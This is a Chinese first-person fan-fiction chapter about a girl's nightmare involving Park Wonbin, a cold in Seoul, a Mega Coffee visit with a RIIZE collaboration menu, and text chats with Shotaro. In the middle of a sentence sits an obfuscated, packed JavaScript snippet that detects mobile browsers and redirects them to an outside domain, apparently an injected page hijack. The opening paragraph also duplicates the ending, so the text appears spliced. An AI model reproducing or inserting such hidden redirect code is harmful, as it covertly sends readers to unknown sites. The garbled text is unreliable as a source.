这句突如其来的“问候”看似前言不搭后语,可将太郎没多问,实话实说地告诉我,不久前在飞机上塞了一块碱水面包——然后礼貌地反问我,你吃了么? 我不语,举起手机咔嚓拍了张他代言的柠檬气泡水发过去。 这下将太郎不说话了。 几秒后,发了个Q版水獭流汗的表情包。 7. 日常章 我的睡眠质量向来不好,又折腾了那么久,本以为会失眠到凌晨,结果在床上合了会儿眼皮,竟然就这么睡着了。 ——后果就是感冒了。 大酒店的空调,风速就算调到最低也吹得呼呼猛,温度调高了又觉得不如不开。 睡前,我把自己裹在厚厚的被子里,觉得裹这么紧估计不会再被我不小心踹开了,然而当晚就做了个噩梦。 梦里,我本来好端端地走在路上,一切平静无波。 唯一的蹊跷就是太安静了——安静到诡异,像是暴风雨前难得的片刻安宁。 果不其然,走着走着,突然前边的路毫无征兆地断开了,剩下的只有一片望不到底的海洋。 梦境中的我没有对此产生畏缩,反之好奇,弯下腰凑上去看,看了半天还是没看出个所以然:水面恍如一块庞大的镜子,干净、通透,在里边只能瞧见我的身形。 在某个瞬间,原本平和的海面颤抖地泛起涟漪, 起初,我以为是有什么东西在里边搅动,并隐隐有要喷涌而出的势头,因此向后退了一步,防止带出的水花溅到我身上。 但是,我望着那细小的、卷起的波澜,又不禁心生怪异。 人与生俱来的好奇心蠢蠢欲动地驱使我再度凑近去瞧波浪掀动的形状,我也遵从本心照做了。 我盯住水面,那阵涟漪越涌越激烈,仔细瞧却能发现违和的蛛丝马迹:它在涌动之际的方向不是寻常地打着旋,而是更像是被扯着强制上扬—— 接着我才发现:那并不是什么调皮的水花在打转,是水中倒映出的我在笑。 ……我在笑? 我为什么在笑? 我怎么不知道我在笑? 由水波构筑而成的镜面一览无余地形成另一个“我”的形象,呈现出的姿态却并非我的本貌。 可是,不知道是不是处于梦境时会自动变得钝感、还是我的心态本就如此,与对面之人对视时,我居然没感觉可怖,留在心间的只有一片死亡般的沉寂。 我看着她,她也回望我,以拿莫名令我感到熟悉的笑容为媒介,尘封的记忆逐渐浮上水面。 ——小时候,不像其他吵吵闹闹的同龄小孩儿,我不太爱说话,因此总是一声不吭地缩在人少的地方。 其他家长会和母亲讲些客套话,无非就是你家孩子真乖、一点儿也不闹腾、一看就很听话。 母亲表面上笑呵呵地应下他人的羡慕,满足了那零星大的被吹捧的虚荣心,结果背地又跟我说:听见没?人家都觉得你不说话,等你长大工作后要是还给别人摆脸色,上了社会该怎么办? 于是母亲让我学习微笑。 那时候太小,不会表情管理,硬笑起来很僵硬,幸好接触的人不会拿着个显微镜从医学角度研究微笑带动的几块肌肉线条是否自然,只觉着这个小孩子真懂事。 但旁观的母亲对我的标准不会这么宽松,在家里,她会说笑得太假了,还不如不笑——虽然要是我真瘫着个脸,她又会更不高兴。 想到这里,我忽然意识到我的心房因这个寻常的笑容燃起的厌恶是怎么回事。 ——太假了。 笑得好假、好丑。 那股强烈的感情驱使我伸手主动搅浑海面——即使里边的人展现出的是我的模样。 然而,待弯下腰、指尖探向冰凉的海浪时,我蓦然僵住了。 我对“自己”的态度,又和母亲有什么区别呢? 我还是活成了她的影子。 凝视她。讨厌她。追念她。解构她。 最后在某一天彻底成为她。 我突然浑身发凉。 怎么会这样?为什么会这样? 为什么她在死后也不肯放过我呢? 或者说——为什么她死了我还忘不掉她呢? 僵持的动作持续了太久,再猛地站起身时,我的眼前一片苍白。 再睁开眼,眼前一晃,白浪间浮浮沉沉的泡沫竟是变了色。 泡沫原本是盐白色的,仿佛盛满啤酒的玻璃杯杯口溢出的一圈沫儿。 但是,若是里边包裹的活体细胞溃烂,它们会染上浑浊的褐黄。 那是死亡的颜色,隐约散发淡淡的腥臭。 于是浪花便裹挟这群死神的昭告,欲要将没来得及离去的我吞噬。 大股大股冷冰冰的液体强制灌入鼻腔,迫使我张开嘴呼吸,然后它们便得寸进尺地也钻入喉管。 接着,我在迷蒙中挣扎,竟是发觉一丝不对劲之处。 灌满口鼻的腥咸味不知何时渐渐消退,取而代之的是一种怪异的甜香。 力道也慢慢轻柔,游走过我的每一寸肌肤。 由于太温柔了,痒痒的,居然让我感到一阵恶心。 我睁开眼,才发现眼前的根本不是什么要淹死我的浪花,在某一刻梦中的意象变成了朴元彬。 更骇人的是——他在亲吻我,以至于令我产生了一种溺亡般的窒息感。 与其说亲吻,不如说像是在抚摸,只不过媒介由手变为了唇瓣。 如同我第一次与朴元彬同床共枕的那个夜晚,我在一片黑暗中跌倒,他扶起了我,我没力气抬起手臂去摸摸他到底是谁,干脆用唇珠在他的脸颊上勾勒脸庞的线条弧度。 真是天道好轮回。 老天爷,你还不如直接把我一头按在水里溺死。 我被吓得飙了句脏话——当然是在心里飙的,因为嘴巴被堵住了。 偏偏我的脚好像被钉子死磕在了地面上,逃都逃不走。 唯一的挣脱方式只有硬扯,可后果就是自个儿也被整得血肉模糊,随后五脏六腑随着血水被冲得融化。 我忽然冷静下来,好像不是当事人似的,冷眼旁观这场荒唐的梦。 我的初吻还在(至少是在现实),所以没有体会过亲吻的感觉,因此此时并没感受到多余的触感。 好像相触的不是嘴唇,是两张薄到可以忽略重量的纸片子在摩擦。 匪夷所思的是,朴元彬在我梦中的形象不是我们见过的最后一面的短发模样,反而是在我记忆中残留最久且最深刻的中长发的造型。 他低垂眉眼,眼睫毛又细又长。 如果是以前,我可能会认真地停下手中的一切动作,好好欣赏一番朴元彬精致的五官。 可现在不同了。 我心中无语地冷笑几声,心想,当初我就是这么误解他为女孩子的,还傻乎乎把他当成酷酷的姐姐,相处了一个月多。 我刚想把朴元彬踹开,下一刻,他忽然开口讲话了。 那声音低沉、磁性,很明显是男孩子的声音,与美型的外貌形成强烈的反差感,冲击之大,以至于我都甚至没听清他在讲啥。 不过那不重要。 因为在下一个瞬间,他狠狠地咬上了我的下唇。 这回我是实打实地震惊了,因为他从未如此鲁莽地对待过我。 朴元彬跟条狗一样,咬的口子居然还不小。 细细密密的血珠渗出,染红了彼此的唇瓣。 好像这不是在旖旎地接吻,而是在吃人——捕猎者在咬开猎物的内脏之前,会先撕开皮囊上的一角,方便自啃出的创口为媒介,随后吸食血与肉。 也许亲人和吃人本就没有区别。 我没体验过亲嘴的感觉,但流血的感觉肯定经历过。 ——在疼痛感传递到神经中枢的那一刻,我终于惊醒了。 睡衣的布料被冷汗浸湿后再被功效猛烈的空调吹干,黏答答地紧贴后背,凸出欲要突破肌肤而呼之欲出的蝴蝶骨的形状。 我曾在网上看过这样一种说法:千万不要记梦,不然记多了容易精神分裂。 我是不大相信这种玄乎的玩意儿的,可此时此刻还真有灵魂被扯成两半、而后各经历了两段不同的人生的割裂感。 骨缝仿佛都被扒开,往里边乱七八糟地填入各种说不清道不明的情绪,连骨髓也要霸道地塞满,后果就是有些实在容纳不下的干脆就挣脱骨肉撬开肌肤,而第一个浮现在我脑海中的居然是:我怎么会梦到朴元彬跟我亲嘴? 俗话说日有所思,夜有所梦。 我确实在以前于心中无数次赞叹朴元彬的脸蛋,其中令我印象最深的就是嘴唇:他的上唇瓣弧度饱满,为了保持水分还会经常性涂唇膏,看起来亮晶晶的,凑近还能嗅到股膏脂的甜味儿。 我不像朴元彬那么讲究,夏天干到起皮都懒得特地去买润唇膏,可偶尔会碰见朴元彬握着唇膏往嘴巴上抹的样子,像蛋糕师手持裱花袋均匀地涂抹过蛋糕胚的每一寸。 我曾经甚至真情实感夸赞过他的嘴巴像果冻,感觉很好吃,当时朴元彬还被我的比喻吓了一跳,我不明所以,问他干嘛那么紧张,我又不会真的啃上去。 ——但是,我发誓,就算经历了这么多,我对朴元彬绝对没有世俗的欲望。 不仅没有欲望,我甚至都不想回想起他。 可是,越是刻意地不去回忆,都犹如是要徒手剥鱼鳞,把名为记忆的鳞片硬生生抹掉。 偏偏手法不熟练,扒不干净,那鳞顺着动作一点点掉入底下垫着的水桶里,有时候鱼鳞卡进指甲缝里,毫无防备进入的时候疼,拔出来的时候也疼。 好不容易扒完,把一干二净的鱼放进水里涮涮,于是就看到它渗出的血悄无声息地漂浮上来——是鳞片刮落之际被蹭伤的。 事后,手上还会一直残留着一股子甩都甩不走的鱼腥味儿,用加量洗手液猛搓到皮肤变红都洗不掉。 鱼类随着自然界的规律成长,会有部分无关紧要的鳞片因失去了它们应有的功能而顺理成章地脱落,不出血,所以不疼不痒地就这么过去了。 人不是鱼,学不会自动舍弃曾无时无刻附在体内的东西,因此每次都要伴随剧烈的疼痛,打得血肉模糊、最终两败俱伤。 我被这个梦的内容震撼到了,以至于一直沉思着呆坐到天蒙蒙亮,然后坐着坐着又低头趴在膝间不小心睡着了。 ——后果就是被空调吹感冒了。 我怎么不知道我的睡眠质量居然这么好呢? 再起来的时候因睡前诡异的睡姿浑身酸痛,我晕晕乎乎的,当即关了冷空调,又拖着鞋下了床去开窗,想让外边的热空气多涌进来些。 屋外在下雨,雨点子湿哒哒地扑面而来。 我脑子一抽,猛吸了一口,然后被争先恐后钻进鼻腔里的含着水分的氧气呛到。 本来就流鼻涕,现在更难受了。 头痛、背痛,智齿也不知为何开始泛痛,浑身都痛。 我条件反射地摸了摸下嘴唇,好吧,起码嘴巴不痛。 按理来说,生病了就要躺着好好休息。 可惜我一早上已经睡饱和了,硬躺也睡不着,眩晕的感觉反而蔓延得更为严重。 ——于是经过一番思考,我毅然选择了出门。 怎么不算一种以毒攻毒呢? 出酒店,我先是去了附近的便利店,打算买点药,顺便垫垫肚子。 这种便利店为了吸引客人,一般都会开在酒店附近,所以步行没几分钟就到了。 便利店里冷气开得很足,吹得我脑袋又开始疼。 值早班的店员姐姐看上去是兼职的大学生,伴随便利店进门后自动响起的铃声元气满满地向我道好,搞得我莫名地受宠若惊,把头埋得低低的,小声应声——我都不知道对方有没有听见。 早上没什么胃口,但直接空腹吃药又会有点不舒服。 挑挑拣拣半天,我最终还是放弃了作为早餐普遍被选择的三明治跟饭团,拿了个体积最少的希腊酸奶夹心全麦面包,再挑了一盒最常见的感冒药,去收银台结账。 希腊酸奶跟普通的酸奶不一样,不是稀稠的口感,嚼起来干巴巴的,热量很足,就是吃久了容易腻。 我没啃几口就放下了,想了想又觉得扔掉太浪费,所以还是老实地收回包装袋中,打算等今天什么时候又饿了再继续吃。 最后,我把感冒药拆了,发现是胶囊式的,要配着水服下。 本来想再去买一瓶矿泉水,忽然想起包里还有将太郎昨天给的我还没喝完的水。 嗯,应该还能喝。 又省了一千韩元。 吃完药,我才正式开启在首尔短暂三天的首章。 我不是第一次来到首尔,甚至可以说是非常熟悉。 可有一段时间没回来了,与之前在首尔定居的区域也不是同一块,所以依旧能说是首次接触。 转来转去,感觉没什么好逛的。 在下小雨,又是大早上的,出来的人少,给街道更添冷清,搞得人毫无出来游玩的欲望。 因此在最后,我默默选择了在首尔到处可见分店的mega coffee。 望到那见过许多次的logo,居然有种诡异的亲切感。 进店后,我因为不想跟店员交涉,干脆选择了旁边机器运作的自助菜单。 庞大的长方形机器伫立于前台边,有四个女孩子窝在一起,看起来在研究菜单。 我直接排在了后面等着。 ——先声明一下,我没有喜欢偷偷观察旁边一圈人在干啥的习惯,毕竟是个正常人都知道公共场合要尊重他人隐私。 但是她们看菜单的神情过于纠结,发出的动静不算大,不过我和她们站的距离不远,所以能依稀听出讲的似乎不是韩语。 是语言不通吗?不会点单? 真糟糕。其实我也有点忍不住想去帮个忙,但不确定她们是哪国人,要用什么语言比较好——当然这不是重点。 最重要的是,我也不好意思主动上去搭话啊…… 万一她们不喜欢陌生人随意搭讪呢?就算上前开口了,第一句话要说什么?要用哪种语言?看长相应该是东亚人,首先排除韩国,那么就是日本人或中国人……好吧,推理这些也没用,因为这两种语言我都不会啊!班里倒是有死宅会飙几句“阿娜塔哇瓦达西诺类目夹耐一内”之类我听不懂的日语……要么就干脆说英文?但是也不排除有些人英语不好的可能性啊…… *あなたは私のレムじゃないね(你终究不是我的蕾姆啊) “打扰一下——” ……啊。 突如其来的声音打断了我的思绪,用的语言是英文。 我愣愣地抬起头,发现是其中一位女孩子转过身,朝我搭话。 还好,她的英语还可以,我的也不算差劲,所以居然能蛮流畅地沟通。 我很快反应过来,努力不漏掉对方说的每一句话,能听懂个七七八八。 大致就是说一行人来喝联动,但其中一位只是圈外人朋友,来陪她们的,所以想额外点一杯非联动饮品。 可mega菜单太多了,翻译也译不准,怕点错,也正好想问问本地人有没有推荐的。 听到这个需求,我松了口气。 虽然不清楚联动菜品是什么,不过非联动相关的领域我还是很了解的。 还好她们问对了人,正好我以前就隔三差五来mega coffee坐坐。 上学放假期间,我不喜欢待在家里,就跟母亲谎称要和同学去图书馆写作业,然后就和玩得好的朋友随机找一家mega coffee。 一人点一杯不重样的饮品,不对嘴地换着喝,就这么坐一下午,一天的时光就熬过去了。 所以,虽然并未有那么多钱和精力把菜单上每个饮料都喝一遍,但里边起码有二分之一都是我尝过的。 我凑过去,和她们一起看菜单,推荐了几款最不容易踩雷的:草莓酸奶奶昔、桃子冰茶、淡香草杏仁拿铁。 还好现在店里人少,在我们后面就没有人排队了,可以慢慢挑上一段时间。 讲英文的女生把我的话用她们的语言翻译了过去。 出于好奇,我悄悄听了听,才听出讲的是中文。 她们在几样推荐中随机选择了一种,而后就打算挑联动了。 想着做好人就做到底,我随口一问:“你们还要点什么?不介意的话,我帮你们一起点了吧。” 说完后我又开始后悔,恨不得把脱口而出的话吞回去。 我在多管闲事什么呢?既然人家是为了联动而来的,肯定是做过一番攻略,不需要他人帮助了。 刚刚突然询问我,也只是不太了解非联动饮品的相关信息罢了。 幸好那个女孩子没有觉得我多管闲事,而是露出一副介于喜悦和受宠若惊之间的神色,这才让我松了口气。 联动的特殊饮品被单独拉出来一栏,我点了一下,下一秒,屏幕上蹦出几张旁边附了不同代言人图片的饮品参考图。 我的手指悬在屏幕前,忽然陷入了沉默。 ——怎么有两张脸那么眼熟呢? 只见屏幕上显示出六种饮品跟几道小吃,饮料都五颜六色,没有一样的色系是重复的。 其中绿色的旁边贴了将太郎的图,棕红的则是朴元彬。 ……也许我早该料到这一步的。 我知道了将太郎和朴元彬同为一个偶像团体、也知道旁边这几个人是奔着联动来的,偏偏没想到事情怎会如此之巧。 一般来说,要是联动了,店门都会张扬地贴上宣传图,大大咧咧地告诉粉丝们“我就在这里!”。 但这家店应该是刚开的分店,还没来得及跟上本部的节奏,只有菜单同步更新上了,其他依旧和往日没什么区别。 我的心理活动虽然丰富,可不会想得太久。 激烈的一番心绪起伏也就默默活跃了一两秒,而后就迅速调整状态,尽量用最贴切的语言翻译过去。 她们感激地向我道谢,接着我就识眼色地自动退出,让她们自己选份量。 四人点完后就去找桌子坐下了,离开自助机器前不忘再度向我表达感谢。 就在这个短暂的间隙中,机器已经默认恢复到初始界面,静静等候下一位客人的操纵。 我这才发现界面就是包含将太郎与朴元彬在内的六个男人靠在一起的宣传图,每个人旁边还贴上了各自代言的饮品。 其他四个人我都不认识——本来我就不热衷追星,就知道俩个本来就跟我有联系的人。 店里人不多,没人会关注我的行为,但我心里总是隐隐有种做贼心虚的诡异感,没敢盯海报太久,就迅速划了过去。 本来想习惯性地点杯去冰的苹果柚子冰茶,忽然想起感冒期间不能喝含糖的冷饮——要是感冒因此加重,等三天后回去,我都不知道该怎么面对姨妈姨父,因而就此作罢,点了份普普通通的美式脆皮热狗。 点单的时候,我发现这个男团的联动菜品中就有墨西哥辣肉酱热狗。 大概是怕有些只是为了联动才来消费的粉丝买错,菜单上还特地标注了联动的图标,借此与普通的常驻菜品区分。 但我又不是粉丝,况且联动的热狗还要多花八百韩元——虽然也没有多少钱,总而言之,我依旧特地避开了联动。 下完单,我立即像一朵发霉的蘑菇缩到店里角落的位置入座。 不管是去哪家店,这种边边角角的座位永远是我的最优位选择。 我落座,第一件事是掏出手机,看看昨晚到今早有没有新的消息。 首先在家庭群里发一句早上好,给大家营业出阳光向上且作息健康的形象。 然后点开朴元彬的对话框——他居然还在给我发消息,还不止一两条。 可能是以为我不喜欢他干涉我与别人的消息,朴元彬自动切换了别的话题,就算我因为睡着了没看到,他也在坚持不懈地敲字。 密密麻麻的气泡框宛如产了卵的蟑螂,不断滋生,没完没了。 最重要的是怎么清都清不完,看完一屏幕发现还有满满一页的话。 我不是傻子,不会傻乎乎地觉着朴元彬是突然变话痨了。 虽然没耐心一条条看完,不过我还是大致扫了一眼,他的前言后语间没多大关联,跟梦游似的,想到啥发啥。 我直接划到最后,看最新消息。 果不其然,朴元彬前面发那么多东西,只是因为他不擅直球,不熟悉要如何开启真正的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340668|183425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题,所以乱七八糟地砌了前面一堆过于冗长的开场白。 彼时已是凌晨两点,他以简单的一句话当作收尾:【抱歉】。 歉意是一种很复杂的感情,和坦白爱意一样难以启齿。 在很久、很久以前——久到小学教科书还没教会我“恨”怎么写的时候,我曾认为我是爱着母亲的。 世俗的道德伦理皆告知我:你要爱她,因为她也是世上最爱你的人。 她辛苦怀胎十月,窄小的子宫容纳下幼小的你的存在。 她为你承受了痛苦与庄严,孕吐反应呕出的呕吐物都是你流出的血。 可是,临到母亲节之际,我却觉得大大方方道出一个女儿对母亲的所谓的深厚的爱感到难以启齿。 我站在她的面前,像是乌鸦饮水,只差再塞入一颗细小的石子就能让里边的水液溢出,偏偏我没有最后那么丁点儿勇气。 现在想想,估计不仅仅是有我本就不爱如此张扬地表达情感的原因,还有就是因为心底已经隐约埋下了负面情绪的萌芽。 我的沉默自然是招使了母亲的不满:她看到了别家的孩子是如何向母亲诉说爱意的,或是送花、或是主动帮忙分担家务,只有我愣是连句最简单的话都蹦不出来。 但是,最让我惶恐的不是母亲口中斥责的所谓的“不孝”,而是发觉我连对此事的道歉都说不出口。 世人常说:孩童是啃食母亲的血肉长大,母亲的爱是最无私的。 然而我觉得我与母亲的关系有违常理,我觉得她反倒是吸血虫,是菟丝花,是梦魇,一点点缠上来,深深扎进我的骨髓之中,把我当成她的所有物,蛀洞、吞噬。 因为每次都是我扮演不语的角色,好像我的语言组织能力早就全部被母亲剥夺扫光,总是她一个人絮絮叨叨的,我却一声不吭。 所以,正因对这种情感的复杂性无比清楚,我才对朴元彬的坦诚感到由衷的困惑:他在对不起我什么? 觉得我会愤怒?会悲伤?觉得他辜负了我?觉得我昨天的平静只是在逞强? 那他未免把我想得太脆弱了。 其实我自己都对我的平和感到惊奇,可事实就是如此,我也就在刚得知真相的那几个小时内情绪波动较大罢了。 我本来想继续已读不回,想了想,担心朴元彬又多想,误会我是在耍脾气,所以还是勉强给了个答复。 ——只发个表情包也算回答。 我还没来得及滑出聊天界面,就看到发出的消息被读了。 我看了看时间,现在是早上九点,而朴元彬凌晨两点还在给我发信息。 他是不用睡觉吗? 我这么想着,同样也这么直接问了。 朴元彬老老实实回答,说他要去日本神奈川县横滨市,是凌晨三点的飞机,五点半刚下,然后换乘电车又花了差不多一个半小时,所以在路途上已经睡了一会儿了。 他打字很快,说的又多,能有我的气泡框的三倍长。 我也懒得追问朴元彬突然去横滨干嘛,无非就是在那儿有什么团体活动。 想到这里,我突然想起他和mega coffee的那张联动图——当然第一反应不是回想朴元彬在海报上的样子,而是发觉刚刚在和他发消息一事上耗费了过多时间,下单的菜品估计早就做好了。 于是我果断站起身,去前台把我的热狗端回来。 还好也才做完不久,没有冷掉。 红彤彤的香肠上涂满了酱料,被烤得焦黄的面包裹挟着。 份量不大,所幸我本来也不饿,只是想满足消费入座的条件,在这里坐一会儿而已。 结果刚把外包装撕开,就有人走到了我的桌旁。 起初我以为只是有人路过,因此并未特地打量来者何人。 然而对方忽然把什么放到了桌上,余光还能瞥见推向了我。 我疑惑地抬头,发现是刚刚帮忙翻译的那个女孩子。 她看起来也有点害羞,和我对上目光后又迅速分离,嘴上说的话却不含糊。 她说,谢谢你刚刚帮了我们,不介意的话,请收下这个当作谢礼吧!是还没有被开过的饮料。 我受宠若惊——毕竟根源上来说又不是我主动开口提出要帮助人家,现在还白嫖了东西,怪过意不去的。 但女生坚持感谢我,表示要是没有我,可能在选非联动饮品的时候还会不小心踩雷。她们也是第一次来mega coffee,来的时候做的攻略不太全,还好遇上了我。 我只好收下,她这才心满意足地回去了。 因为当时只顾着绞尽脑汁如何回应陌生人的善意,一时竟未反应过来她塞给我的是什么。 等女生走后,我低下头,黄色杯套上六个搭着彼此的肩膀傻不愣登笑的男人映入眼中,裹着装着色调为青柠绿的饮料的杯子。 ……没想到还是躲不开。 算了,反正饮料无罪,别人也不知道事情怎么就那么巧。 所以我还是当作无事发生,拆开吸管,插进盖口,戳到底后凑上去吸了一小口。 结果,几乎是在液体进口的那一瞬,我顿时僵住了。 ——像是没熟透的青柠径直在口腔中挤出汁水,柠檬皮本身自带的酸涩微苦的气息只剩下“苦”被无尽放大。 把我本来因感冒有些头疼的大脑都冲得清醒了。 我做贼似的,先是张望四周看看那个女生坐的一桌在哪里——不然如此明确地对免费送我的饮料表达出负面情感未免不大礼貌。 还好我是背对着她们的。 我放下心来,拿出手机开始搜索,想看看到底是谁的联动这么难喝。 刚刚看到宣传图的时候也没观察过这个团叫什么名字,我转了转杯子,终于在杯套的背面看见了他们的团名:RIIZE。 于是我把团名也加进了搜索框中,开始查询megaXriize的具体联动。 官方通知位于搜索显示的前几位,我点进去一看,其中一个绿油油的色调十分显眼,写着:“绿茶柠檬气泡水”。 我再一瞧,旁边附的图赫然是将太郎,仍然是那副熟悉的笑盈盈的模样。 我想起当时在他的包里看到一堆难吃的零食,现在嘴里怪异的柠檬味还持久不散。 ——将太郎不会真的有异食癖吧? 心里这么嘟囔着,手机屏幕忽然亮起,竟然是当事人发来消息了。 在没看清具体发的内容前,我差点以为将太郎有透视眼兼读心术了,不然卡的时间怎么会这么准? 还好,他发的东西很正常,是一张风景图:天边跟海面的颜色融为一体,仿佛挂在空中的云团都要一并融化在海中。 该说不说,我对海面已经有点PTSD了。 本来都要忘掉昨晚那个该死的梦了,结果又随着这张照片逐渐清晰起来。 我赶紧打散脑海里的想法,开始斟酌如何回复,然而想了半天依旧不知道咋回,因为心里只有一个念头:将太郎的拍照技术真是令人感慨。 非褒义也非贬义。 从他头像的超绝小学生氛围感男头到一看就是中老年人会搭配“海阔天空”ID用的风景图,年龄跨度还蛮大的。 幸好,将太郎没等我回复,而是主动继续说,话语同样简单明了:【横滨的海】。 我的第一反应不是他为啥突然跟我分享这些,而是问,你们去日本的行程难不成是公费旅游? 将太郎居然也认真地顺着我关注点清奇的话题说下去了,跟我说不是,只是今天跟着团队活动重回横滨,想到了以前在横滨拍过的照片,现在又突发奇想翻出来了而已。 我往上划了划,又点进图片,放大,其实他的拍照水平还挺好的:构图平衡,画面主体也很明确。 所以,虽然不知道为什么将太郎要突然意义不明地给我甩张风景图,我还是尽力给满了情绪价值,夸他拍得不错,看得我也想去了。 我的话半真半假,真在我确实没看过海。 首尔其实有很多片海:从机场能直接坐公交到永宗岛,对面还有月尾岛、仁川机场附近就有一片海滩、实在不行直接去当天就能来回的乙旺里海水浴场也行。 可我明明住在韩国最繁华的首尔,却像是永远被困在一小片区域活动,很少去外边见识真正的风景。 假则是在我也并非那么想去。 我不是高能量群体,和同学聚餐回来后要在床上躺平半天才能调理过来、回个别人的消息都要动用起所有的脑细胞。 正因如此,我才觉得将太郎跟我完全不是一路人。 他平和、稳定,光是从发给我的照片里就能看出是个面对生活很积极的人:会和家人一起开开心心地出来吃那曾被我母亲叨叨过好多次不卫生不健康的炸鸡,也能把冷色调的大海拍出波光粼粼的平和的美感。 我对“将太郎完全就是我母亲口中的别人家的孩子”有了更清晰的认知。 同时,又发自内心地疑惑:他为什么要主动接近我? 我和将太郎不算有话就谈的关系,更何况我与他认识的契机是因为朴元彬,而他也知道朴元彬跟我现在关系很尴尬,却跟个没事人儿似的,昨天更是就那么轻轻松松地直接问我是不是知道真相了。 但将太郎没有读心术,不知道我曲折的心理活动,只是回答我说,那等你高考完可以来日本旅游,我来当导游。 我没好奇他是怎么知道我的现生情况的,毕竟朴元彬一看就是个藏不住情绪的样儿,他阴晴不定地耷拉着个脸,将太郎再无意一问,估计就啥话都叭叭地撬出来了。 我也没把将太郎的话当真,权当是客套话,于是发了个微笑过去,然后问他,吃过早饭了吗? 这句突如其来的“问候”看似前言不搭后语,可将太郎没多问,实话实说地告诉我,不久前在飞机上塞了一块碱水面包——然后礼貌地反问我,你吃了么? 我不语,举起手机咔嚓拍了张他代言的柠檬气泡水发过去。 这下将太郎不说话了。 几秒后,发了个Q版水獭流汗的表情包。